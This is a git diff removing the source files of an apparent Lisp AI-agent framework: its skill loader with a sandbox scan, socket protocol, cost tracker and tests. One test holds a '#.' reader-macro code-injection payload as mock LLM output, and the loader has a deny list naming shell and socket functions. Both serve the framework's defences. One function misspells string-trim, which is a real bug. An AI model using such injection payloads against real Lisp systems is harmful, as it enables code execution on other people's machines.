passepartout::*skill-registry*) - (let* ((passepartout::*provider-cascade* nil) - (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) - (result (loop-gate-reason signal))) - (is (member (getf result :status) '(:reasoned :requires-approval))))) - -(test test-backend-cascade-no-backends - "Contract 4: empty cascade returns :LOG failure." - (let* ((passepartout::*provider-cascade* nil) - (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (result (backend-cascade-call "test" :cascade '()))) - (is (eq :LOG (getf result :type))) - (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) - -(test test-backend-cascade-with-mock - "Contract 4: backend-cascade-call returns content from first successful backend." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) - (setf (gethash :mock-backend passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "mock-response"))) - (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) - (is (string= "mock-response" result))))) - -(test test-read-eval-rce-blocked - "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* '(:mock-evil))) - (setf (gethash :mock-evil passepartout::*probabilistic-backends*) - (lambda (prompt sp &key model) - (declare (ignore prompt sp model)) - (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) - (setf passepartout::*v031-rce-test* nil) - (setf *read-eval* t) - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) - (result (passepartout::think ctx))) - (is (not (eq passepartout::*v031-rce-test* :PWNED))) - (is (eq :REQUEST (getf result :TYPE))) - (setf *read-eval* nil)))) - -(test test-json-alist-to-plist-simple - "Contract 5: converts simple alist to keyword plist." - (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) - (let ((result (json-alist-to-plist alist))) - (is (eq :ACTION (first result))) - (is (string= "shell" (second result))) - (is (eq :CMD (third result))) - (is (string= "echo hello" (fourth result)))))) - -(test test-json-alist-to-plist-nested - "Contract 5: nested alists recurse into nested plists." - (let ((alist (list (cons "tool" "write-file") - (cons "args" (list (cons "filepath" "/tmp/x") - (cons "content" "hi")))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :TOOL (first result))) - (is (eq :ARGS (third result))) - (let ((inner (fourth result))) - (is (eq :FILEPATH (first inner))) - (is (string= "/tmp/x" (second inner))) - (is (eq :CONTENT (third inner))))))) - -(test test-json-alist-to-plist-array-passthrough - "Contract 5: JSON arrays pass through unchanged." - (let ((alist (list (cons "names" (list "alice" "bob"))))) - (let ((result (json-alist-to-plist alist))) - (is (eq :NAMES (first result))) - (is (equal (list "alice" "bob") (second result)))))) - -(test test-json-alist-to-plist-null - "Contract 5: nil passes through unchanged." - (let ((result (json-alist-to-plist nil))) - (is (null result)))) - -(test test-json-alist-to-plist-scalar - "Contract 5: scalar values pass through." - (let ((alist (list (cons "count" 42) (cons "active" :true)))) - (let ((result (json-alist-to-plist alist))) - (is (eq :COUNT (first result))) - (is (= 42 (second result))) - (is (eq :ACTIVE (third result))) - (is (eq :true (fourth result)))))) - -(test test-assemble-config-section - "Contract v0.7.2: config section contains Passepartout and version." - (let ((section (passepartout::assemble-config-section))) - (is (stringp section)) - (is (search "Passepartout" section)) - (is (search "v0.7.2" section)) - (is (search "Security gates" section)))) - -(test test-think-snapshots-before-llm - "Contract v0.7.2: think() snapshots memory before LLM call." - (let ((passepartout::*memory-snapshots* nil) - (passepartout::*memory-store* (make-hash-table :test 'equal))) - (setf (gethash "pre" passepartout::*memory-store*) "value") - (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) - (passepartout::*provider-cascade* nil)) - (handler-case - (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) - (result (passepartout::think ctx))) - (declare (ignore result))) - (error (c) (format nil "Expected: ~a" c))) - (is (>= (length passepartout::*memory-snapshots*) 0))))) diff --git a/lisp/core-skills.lisp b/lisp/core-skills.lisp deleted file mode 100644 index 1aad23b..0000000 --- a/lisp/core-skills.lisp +++ /dev/null @@ -1,368 +0,0 @@ -(in-package :passepartout) - -(defvar *VAULT-MEMORY* (make-hash-table :test 'equal)) - -(defun vector-cosine-similarity (v1 v2) - "Computes cosine similarity between two vectors." - (let* ((len1 (length v1)) (len2 (length v2))) - (if (or (zerop len1) (zerop len2)) - 0.0 - (let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0)) - (dotimes (i (min len1 len2)) - (let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float))) - (incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y)))) - (if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2)))))))) - -(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn) - -(defvar *skill-catalog* (make-hash-table :test 'equal) - "Tracks all discovered skill files and their loading state.") - -(defvar *standing-mandates* nil - "List of functions (context) → string-or-nil. Each is called on every think() cycle. -When non-nil, the returned string is injected into the IDENTITY section of the system prompt. -Unlike skills (which activate on triggers), standing mandates are always consulted.") - -(defstruct skill-entry filename (status :discovered) error-log (load-time 0)) - -;; Alias: find-triggered-skill → skill-triggered-find -(defun find-triggered-skill (context) - (skill-triggered-find context)) - -(defun skill-triggered-find (context) - "Returns the highest priority skill whose trigger matches context." - (let ((triggered nil)) - (maphash (lambda (name skill) - (declare (ignore name)) - (when (and (skill-probabilistic-prompt skill) - (ignore-errors (funcall (skill-trigger-fn skill) context))) - (push skill triggered))) - *skill-registry*) - (first (sort triggered #'> :key #'skill-priority)))) - -(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic) - "Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool." - `(setf (gethash (string-downcase (string ,name)) *skill-registry*) - (make-skill :name (string-downcase (string ,name)) - :priority (or ,priority 10) - :dependencies ',dependencies - :trigger-fn ,trigger - :probabilistic-prompt ,probabilistic - :deterministic-fn ,deterministic))) - -(defun skill-dependencies-resolve (skill-name) - "Resolves transitive dependencies. Returns list of skill names in dependency order." - (let ((resolved nil) (seen nil)) - (labels ((visit (name) - (unless (member name seen :test #'equal) - (push name seen) - (let ((skill (gethash (string-downcase (string name)) *skill-registry*))) - (when skill - (dolist (dep (skill-dependencies skill)) (visit dep)))) - (push name resolved)))) - (visit skill-name) - (nreverse resolved)))) - -(defun skill-metadata-parse (filepath) - "Extracts ID and DEPENDS_ON tags from org file." - (let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath))) - (let ((id-start (search ":ID:" content))) - (when id-start - (let ((id-end (position #\Newline content :start id-start))) - (when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end))))))) - (let ((pos 0)) - (loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos)) - do (let ((end (position #\Newline content :start pos))) - (when end - (let ((line (string-trim " " (subseq content (+ pos 13) end)))) - (dolist (d (uiop:split-string line :separator '(#\Space #\Tab))) - (unless (string= d "") (push d dependencies)))) - (setf pos end))))) - (values id (reverse dependencies)))) - -(defun skill-topological-sort (skills-dir) - "Returns a list of skill filepaths sorted by dependency." - (let* ((org-files (uiop:directory-files skills-dir "*.org")) - (lisp-files (uiop:directory-files skills-dir "*.lisp")) - (all-files (append org-files lisp-files)) - (files (remove-if (lambda (f) - (let ((n (pathname-name f))) - (or (string= n "core-package") - (string= n "core-skills") - (string= n "core-transport") - (string= n "core-memory") - (string= n "core-perceive") - (string= n "core-reason") - (string= n "core-act") - (string= n "core-pipeline") - (string= n "core-manifest") - (string= n "neuro-router") - (string= n "neuro-explorer") - (string= n "channel-tui")))) - all-files)) - (adj (make-hash-table :test 'equal)) - (name-to-file (make-hash-table :test 'equal)) - (id-to-file (make-hash-table :test 'equal)) - (result nil) - (visited (make-hash-table :test 'equal)) - (stack (make-hash-table :test 'equal))) - (dolist (file files) - (let ((filename (pathname-name file))) - (if (uiop:string-suffix-p (namestring file) ".lisp") - (progn - (setf (gethash (string-downcase filename) name-to-file) file) - (unless (gethash (string-downcase filename) adj) - (setf (gethash (string-downcase filename) adj) nil))) - (multiple-value-bind (id deps) (skill-metadata-parse file) - (setf (gethash (string-downcase filename) name-to-file) file) - (when id (setf (gethash (string-downcase id) id-to-file) file)) - (setf (gethash (string-downcase filename) adj) deps))))) - (labels ((visit (file) - (let* ((filename (pathname-name file)) - (node-key (string-downcase filename))) - (unless (gethash node-key visited) - (setf (gethash node-key stack) t) - (dolist (dep (gethash node-key adj)) - (let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep))) - (dep-key (string-downcase (if is-id-p (subseq dep 3) dep))) - (dep-file (if is-id-p - (gethash dep-key id-to-file) - (or (gethash dep-key id-to-file) - (gethash dep-key name-to-file))))) - (when dep-file - (let ((dep-filename (pathname-name dep-file))) - (if (gethash (string-downcase dep-filename) stack) - (error "Circular dependency detected") - (visit dep-file)))))) - (setf (gethash node-key stack) nil) - (setf (gethash node-key visited) t) - (push file result))))) - (let ((filenames (sort (mapcar #'pathname-name files) #'string<))) - (dolist (name filenames) - (let ((file (gethash (string-downcase name) name-to-file))) - (when file (visit file))))) - (nreverse result)))) - -(defun lisp-syntax-validate (code-string) - "Checks if a string contains valid Common Lisp forms." - (handler-case - (let ((*read-eval* nil)) - (with-input-from-string (s (format nil "(progn ~a)" code-string)) - (loop for form = (read s nil :eof) until (eq form :eof))) - (values t nil)) - (error (c) (values nil (format nil "~a" c))))) - -(defun skill-package-forms-strip (code-string) - "Removes (in-package :passepartout) forms only — preserves test-package -declarations so embedded test code evaluates in the correct package." - (let ((lines (uiop:split-string code-string :separator '(#\Newline))) - (result "")) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space #\Tab) line))) - (if (uiop:string-prefix-p "(in-package :passepartout)" trimmed) - (setf result (concatenate 'string result (string #\Newline))) - (setf result (concatenate 'string result line (string #\Newline)))))) - result)) - -(defun tangle-target-extract (line) - "Extracts the value of the :tangle header." - (let ((pos (search ":tangle" line))) - (when pos - (let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7))))) - (let ((end (position #\Space rest))) - (if end (subseq rest 0 end) rest)))))) - -(defun load-skill-from-org (filepath) - "Parses and evaluates Lisp blocks from an Org file." - (let* ((skill-base-name (pathname-name filepath)) - (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name))))) - (setf (skill-entry-status entry) :loading) - (handler-case - (let* ((content (uiop:read-file-string filepath)) - (lines (uiop:split-string content :separator '(#\Newline))) - (in-lisp-block nil) (collect-this-block nil) (lisp-code "") - (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) - (dolist (line lines) - (let ((clean-line (string-trim '(#\Space #\Tab #\Return) line))) - (cond - ((uiop:string-prefix-p "#+begin_src lisp" clean-line) - (setf in-lisp-block t) - (let ((target (tangle-target-extract clean-line))) - (setf collect-this-block (or (null target) - (and (not (search "no" target)) - (not (search "/tests" target))))))) - ((uiop:string-prefix-p "#+end_src" clean-line) - (setf in-lisp-block nil) (setf collect-this-block nil)) - ((and in-lisp-block collect-this-block) - (unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line)) - (uiop:string-prefix-p ":END:" (string-upcase clean-line)) - (uiop:string-prefix-p ":ID:" (string-upcase clean-line))) - (setf lisp-code (concatenate 'string lisp-code line (string #\Newline)))))))) - (if (= (length lisp-code) 0) - (setf (skill-entry-status entry) :ready) - (progn - (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code) - (unless valid-p (error err))) - ;; Pre-eval sandbox scan: block before any code executes - (multiple-value-bind (blocked-p blocked-syms) - (skill-source-scan lisp-code) - (when blocked-p - (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" - skill-base-name blocked-syms) - (setf (skill-entry-status entry) :sandbox-blocked) - (return-from load-skill-from-org nil))) - (unless (find-package pkg-name) - (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) - (let ((*read-eval* nil) (*package* (find-package pkg-name))) - (log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*)) - (eval (read-from-string (format nil "(progn ~a)" lisp-code)))) - - (let ((target-pkg (find-package :passepartout)) - (exported 0) - (seen (make-hash-table :test 'equal))) - (do-symbols (sym (find-package pkg-name)) - (when (and (eq (symbol-package sym) (find-package pkg-name)) - (or (fboundp sym) (boundp sym)) - (not (gethash (symbol-name sym) seen))) - (setf (gethash (symbol-name sym) seen) t) - (incf exported) - (let ((existing (find-symbol (symbol-name sym) target-pkg))) - (when existing (unintern existing target-pkg))) - (import sym target-pkg) - (export sym target-pkg))) - (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT" - exported (package-name (find-package pkg-name)))) - - (setf (skill-entry-status entry) :ready))) - t) - (error (c) - (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c) - (setf (skill-entry-status entry) :failed) nil)))) - -(defvar *skill-restricted-symbols* - '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" - "bt:make-thread" "bordeaux-threads:make-thread" - "usocket:socket-connect" "usocket:socket-listen" - "hunchentoot:start" "hunchentoot:accept-connections") - "Symbol patterns blocked from skill source code at load time.") - -(defun skill-source-scan (code-string) - "Scans CODE-STRING for restricted symbol references. -Returns (values blocked-p matched-symbols)." - (let ((lower (string-downcase code-string)) - (matches nil)) - (dolist (pattern *skill-restricted-symbols*) - (when (search pattern lower) - (push pattern matches))) - (values (and matches t) (nreverse matches)))) - -(defun load-skill-from-lisp (filepath) - "Loads a .lisp skill file directly, filtering out in-package forms." - (let* ((skill-base-name (pathname-name filepath)) - (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name))))) - (setf (skill-entry-status entry) :loading) - (handler-case - (let* ((content (skill-package-forms-strip (uiop:read-file-string filepath))) - (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) - (multiple-value-bind (valid-p err) (lisp-syntax-validate content) - (unless valid-p (error err))) - ;; Pre-eval sandbox scan: block before any code executes - (multiple-value-bind (blocked-p blocked-syms) - (skill-source-scan content) - (when blocked-p - (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" - skill-base-name blocked-syms) - (setf (skill-entry-status entry) :sandbox-blocked) - (return-from load-skill-from-lisp nil))) - (unless (find-package pkg-name) - (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) - (let ((*read-eval* nil) (*package* (find-package pkg-name))) - (log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*)) - (with-input-from-string (s content) - (loop for form = (read s nil :eof) until (eq form :eof) - do (handler-case (eval form) - (error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c)))))) - (let* ((jailed-pkg (find-package pkg-name)) - (restricted '("RUN-PROGRAM" "SHELL" "RUN-SHELL-COMMAND")) - (violation (loop for r in restricted - for sym = (find-symbol r :uiop) - when (and sym (fboundp sym) - (loop for skill-sym being the symbols of jailed-pkg - when (and (fboundp skill-sym) - (eq (symbol-function skill-sym) - (symbol-function sym))) - return skill-sym)) - collect (format nil "~a" sym)))) - (when violation - (log-message "LOADER SANDBOX: Skill '~a' blocked — references restricted symbol(s): ~{~a~^, ~}" - skill-base-name violation) - (setf (skill-entry-status entry) :sandbox-blocked) - (return-from load-skill-from-lisp nil)) - (log-message "LOADER SANDBOX: Skill '~a' passed sandbox check" skill-base-name)) - (let ((target-pkg (find-package :passepartout)) - (exported 0) - (seen (make-hash-table :test 'equal))) - (do-symbols (sym (find-package pkg-name)) - (when (and (eq (symbol-package sym) (find-package pkg-name)) - (or (fboundp sym) (boundp sym)) - (not (gethash (symbol-name sym) seen))) - (setf (gethash (symbol-name sym) seen) t) - (incf exported) - (let ((existing (find-symbol (symbol-name sym) target-pkg))) - (when existing (unintern existing target-pkg))) - (import sym target-pkg) - (ignore-errors (export sym target-pkg)))) - (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT" - exported (package-name (find-package pkg-name)))) - (setf (skill-entry-status entry) :ready)) - (error (c) - (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c) - (setf (skill-entry-status entry) :failed) nil)))) - -(defun skill-initialize-all () - "Initializes all skills from the XDG data directory." - (let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname)))))) - (skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir)))) - (unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil)) - (let ((sorted-files (skill-topological-sort skills-dir))) - (log-message "LOADER: Initializing ~a skills..." (length sorted-files)) - (dolist (file sorted-files) - (if (uiop:string-suffix-p (namestring file) ".lisp") - (load-skill-from-lisp file) - (load-skill-from-org file))) - (log-message "LOADER: Boot Complete.")))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-boot-tests - (:use :cl :fiveam :passepartout) - (:export #:boot-suite)) - -(in-package :passepartout-boot-tests) - -(def-suite boot-suite :description "Verification of the Skill Engine loader") -(in-suite boot-suite) - -(test test-topological-sort-basic - "Contract 2: dependency ordering puts dependencies before dependents." - (let ((tmp-dir "/tmp/passepartout-boot-test/")) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) - (format out "#+DEPENDS_ON: skill-b-id~%")) - (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) - (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) - (unwind-protect - (let ((sorted (passepartout::skill-topological-sort tmp-dir))) - (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) - (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) - (is (< pos-b pos-a)))) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - -(test test-lisp-syntax-validate-valid - "Contract 1: valid Lisp code passes syntax validation." - (is (eq t (lisp-syntax-validate "(+ 1 2)")))) - -(test test-lisp-syntax-validate-invalid - "Contract 1: unbalanced Lisp code fails syntax validation." - (is (null (lisp-syntax-validate "(+ 1 2")))) diff --git a/lisp/core-transport.lisp b/lisp/core-transport.lisp deleted file mode 100644 index 567b64c..0000000 --- a/lisp/core-transport.lisp +++ /dev/null @@ -1,176 +0,0 @@ -(in-package :passepartout) - -(defun proto-get (plist key) - "Look up KEY in PLIST with case-insensitive keyword normalization." - (let ((key-upcase (string-upcase (string key)))) - (loop for (k v) on plist by #'cddr - when (and (keywordp k) - (string-equal (string k) key-upcase)) - do (return v)))) - -(defvar *actuator-registry* (make-hash-table :test 'equalp) - "Global registry mapping target keywords to their physical actuator functions.") - -(defun register-actuator (name fn) - "Registers an actuator function. Actuators receive: (ACTION CONTEXT)." - (let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword)))) - (setf (gethash key *actuator-registry*) fn))) - -(defun protocol-message-sanitize (msg) - "Recursively strips non-serializable objects from a protocol plist." - (if (and msg (listp msg)) - (let ((clean nil)) - (loop for (k v) on msg by #'cddr - do (unless (member k '(:reply-stream :socket :stream)) - (push k clean) - (push (if (listp v) (protocol-message-sanitize v) v) clean))) - (nreverse clean)) - msg)) - -(defun frame-message (msg) - "Serializes a message plist and prefixes it with a 6-character hex length." - (let* ((sanitized (protocol-message-sanitize msg)) - (payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized))) - (len (length payload))) - (format nil "~6,'0x~a" len payload))) - -(defun read-framed-message (stream) - "Reads a hex-length prefixed S-expression from the stream securely." - (let ((length-buffer (make-string 6))) - (handler-case - (progn - (loop for char = (peek-char nil stream nil :eof) - for ws-count from 0 - while (and (not (eq char :eof)) (< ws-count 4096) - (member char '(#\Space #\Newline #\Tab #\Return))) - do (read-char stream)) - (let ((count (read-sequence length-buffer stream))) - (if (< count 6) - :eof - (let ((len (ignore-errors (parse-integer length-buffer :radix 16)))) - (if (not len) - :error - (let ((msg-buffer (make-string len))) - (read-sequence msg-buffer stream) - (let ((*read-eval* nil)) - (handler-case (read-from-string msg-buffer) - (error () :error))))))))) - (error () :error)))) - -(defvar *daemon-socket* nil) -(defvar *daemon-port* nil "The port the daemon is actually listening on (may differ from default if 9105 was in use).") - -(defun client-handle-connection (socket) - "Handles a single TUI/CLI client connection in a dedicated thread." - (let ((stream (usocket:socket-stream socket))) - (handler-case - (progn - (format stream "~a" (frame-message (make-hello-message "0.7.2"))) - (finish-output stream) - (loop - (let ((msg (read-framed-message stream))) - (cond - ((eq msg :eof) (return)) - ((eq msg :error) (return)) - ((eq (getf msg :type) :health-check) - (let ((health-msg (list :type :health-response - :status (or (and (boundp 'passepartout::*system-health*) - (symbol-value 'passepartout::*system-health*)) - :unknown) - :checked-p (or (and (boundp 'passepartout::*health-check-ran*) - (symbol-value 'passepartout::*health-check-ran*)) - nil)))) - (format stream "~a" (frame-message health-msg)) - (finish-output stream))) - (t (stimulus-inject msg :stream stream)))))) - (error (c) (log-message "CLIENT ERROR: ~a" c))) - (ignore-errors (usocket:socket-close socket)))) - -(defun start-daemon (&key (port 9105) (max-retries 10)) - "Starts the network listener for TUI/CLI clients. -If PORT is taken, tries subsequent ports up to PORT+MAX-RETRIES." - (loop for attempt from 0 below max-retries - for p = (+ port attempt) - do (handler-case - (progn - (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" p :reuse-address t)) - (log-message "DAEMON: Listening on localhost:~a" p) - (setf *daemon-port* p) - (bt:make-thread - (lambda () - (loop - (let ((client-socket (usocket:socket-accept *daemon-socket*))) - (when client-socket - (bt:make-thread (lambda () (client-handle-connection client-socket)) - :name "passepartout-client-handler"))))) - :name "passepartout-server-listener") - (return p)) - (usocket:address-in-use-error () - (when (= attempt (1- max-retries)) - (log-message "DAEMON: All ports ~d-~d in use — giving up" port (+ port max-retries -1)) - (error "No available port for daemon")) - (log-message "DAEMON: Port ~d in use, trying ~d..." p (1+ p)))))) - -(defun make-hello-message (version) - "Constructs the standard HELLO handshake message." - (list :TYPE :EVENT - :PAYLOAD (list :ACTION :handshake - :VERSION version - :CAPABILITIES '(:AUTH :ORG-AST)))) - -(in-package :passepartout) - -(defun protocol-schema-validate (msg) - "Strict structural validation for incoming protocol messages." - (unless (listp msg) (error "Message must be a plist")) - (let ((type (proto-get msg :type))) - (unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS)) - (error "Invalid message type '~a'" type)) - t)) - -(defun validate-communication-protocol-schema (msg) - "Backward-compatibility alias for protocol-schema-validate." - (protocol-schema-validate msg)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-communication-tests - (:use :cl :fiveam :passepartout) - (:export #:communication-protocol-suite)) -(in-package :passepartout-communication-tests) - -(def-suite communication-protocol-suite :description "Communication Protocol Suite") -(in-suite communication-protocol-suite) - -(test test-framing - "Contract 1: frame-message produces correct hex length prefix." - (let* ((msg '(:type :EVENT :payload (:action :handshake))) - (framed (frame-message msg))) - (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) - -(test test-framing-round-trip - "Contract 3: frame → read-frame preserves message identity." - (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) - (framed (frame-message msg)) - (unframed (read-framed-message (make-string-input-stream framed)))) - (is (equal msg unframed)))) - -(test test-framing-empty-message - "Contract 1: simple messages frame with valid hex length." - (let* ((msg '(:type :ping)) - (framed (frame-message msg))) - (is (> (length framed) 5)) - (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) - -(test test-read-framed-message - "Contract 2: read-framed-message decodes a framed message correctly." - (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) - (framed (frame-message original)) - (decoded (read-framed-message (make-string-input-stream framed)))) - (is (equal original decoded)))) - -(test test-read-framed-message-eof - "Contract 2: read-framed-message returns :eof on incomplete stream." - (let ((decoded (read-framed-message (make-string-input-stream "000")))) - (is (eq :eof decoded)))) diff --git a/lisp/cost-tracker.lisp b/lisp/cost-tracker.lisp deleted file mode 100644 index f3bf2c6..0000000 --- a/lisp/cost-tracker.lisp +++ /dev/null @@ -1,190 +0,0 @@ -(in-package :passepartout) - -(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil) - "Session cost accumulator: (:total :calls :by-provider )") - -(defvar *session-cost-lock* (bordeaux-threads:make-lock "session-cost-lock") - "Lock protecting *session-cost* from concurrent updates.") - -(defun cost-track-call (provider prompt-text &optional response-text) - "Compute and accumulate the cost of a single LLM call. -Returns the cost of this call in USD." - (let* ((input-tokens (if (fboundp 'count-tokens) - (funcall (symbol-function 'count-tokens) (or prompt-text "")) - (ceiling (length (or prompt-text "")) 4))) - (output-tokens (if (and response-text (fboundp 'count-tokens)) - (funcall (symbol-function 'count-tokens) response-text) - 0)) - (total-tokens (+ input-tokens output-tokens)) - (cost (provider-token-cost provider total-tokens))) - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (incf (getf *session-cost* :total) cost) - (incf (getf *session-cost* :calls)) - (let ((by-prov (getf *session-cost* :by-provider))) - (let ((entry (assoc provider by-prov))) - (if entry - (incf (cdr entry) cost) - (setf (getf *session-cost* :by-provider) - (acons provider cost by-prov)))))) - (log-message "COST TRACKER: ~a call: ~,4f USD (session total: ~,4f USD)" - provider cost (getf *session-cost* :total)) - cost)) - -(defun cost-session-total () - "Returns the current session's total cost in USD." - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (getf *session-cost* :total))) - -(defun cost-session-calls () - "Returns the total number of LLM calls in this session." - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (getf *session-cost* :calls))) - -(defun cost-by-provider () - "Returns an alist of (provider . total-cost) for this session." - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (getf *session-cost* :by-provider))) - -(defun cost-session-summary () - "Returns plist (:total :calls :by-provider )." - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (list :total (getf *session-cost* :total) - :calls (getf *session-cost* :calls) - :by-provider (getf *session-cost* :by-provider)))) - -(defun cost-session-reset () - "Zeroes the session cost accumulator." - (bordeaux-threads:with-lock-held (*session-cost-lock*) - (setf (getf *session-cost* :total) 0.0) - (setf (getf *session-cost* :calls) 0) - (setf (getf *session-cost* :by-provider) nil))) - -(defun cost-format-budget-status (&optional (daily-budget nil)) - "Returns a string for the TUI status bar showing session cost. -If DAILY-BUDGET is provided, includes percentage of budget used." - (let* ((total (cost-session-total)) - (calls (cost-session-calls)) - (budget (or daily-budget - (ignore-errors - (parse-integer (uiop:getenv "COST_BUDGET_DAILY"))) - 0)) - (pct (if (> budget 0) (* 100.0 (/ total budget)) 0.0)) - (status (cond - ((= calls 0) "—") - ((< pct 50) "OK") - ((< pct 90) "WARN") - (t "HIGH")))) - (if (> budget 0) - (format nil "[Cost: $~,2f (~,0f%) ~a]" total pct status) - (format nil "[Cost: $~,2f | ~d calls]" total calls)))) - -(defun cost-track-backend-call (backend prompt-text &optional response-text) - "Track cost of a backend cascade call." - (cost-track-call backend prompt-text response-text)) - -(defvar *session-budget* - (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD"))) - "Maximum USD to spend in this session. NIL means no limit.") - -(defun budget-remaining-usd () - "Returns remaining budget in USD, or a large sentinel if unlimited." - (if *session-budget* - (let ((remaining (- *session-budget* (cost-session-total)))) - (if (< remaining 0) 0.0 remaining)) - most-positive-double-float)) - -(defun budget-exhausted-p () - "T if the session budget is set and fully consumed." - (and *session-budget* (<= (budget-remaining-usd) 0.0))) - -(defun budget-estimate-call (prompt-text) - "Estimate the dollar cost of a pending LLM call from its prompt text. -Returns 0.0 if the tokenizer is not loaded (allows call through)." - (if (fboundp 'count-tokens) - (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text ""))) - (cost (provider-token-cost (first *provider-cascade*) tokens))) - cost) - 0.0)) - -(defun budget-exhaustion-message () - "Returns a user-facing plist explaining that the budget is spent." - (let ((total (cost-session-total)) - (cap *session-budget*)) - (list :TYPE :REQUEST - :PAYLOAD (list :ACTION :MESSAGE - :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue." - total cap) - :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-cost-tests - (:use :cl :fiveam :passepartout) - (:export #:cost-suite)) - -(in-package :passepartout-cost-tests) - -(def-suite cost-suite :description "Cost tracking and budget management") -(in-suite cost-suite) - -(test test-cost-track-call - "Contract 1: cost-track-call returns a positive number." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "hello world"))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-cost-session-total-accumulates - "Contract 2: session total grows with multiple calls." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :deepseek "world") - (let ((total (cost-session-total))) - (is (> total 0.0)) - (is (= 2 (cost-session-calls))))) - -(test test-cost-session-reset - "Contract 3: cost-session-reset zeroes the accumulator." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (is (> (cost-session-total) 0.0)) - (cost-session-reset) - (is (= 0.0 (cost-session-total))) - (is (= 0 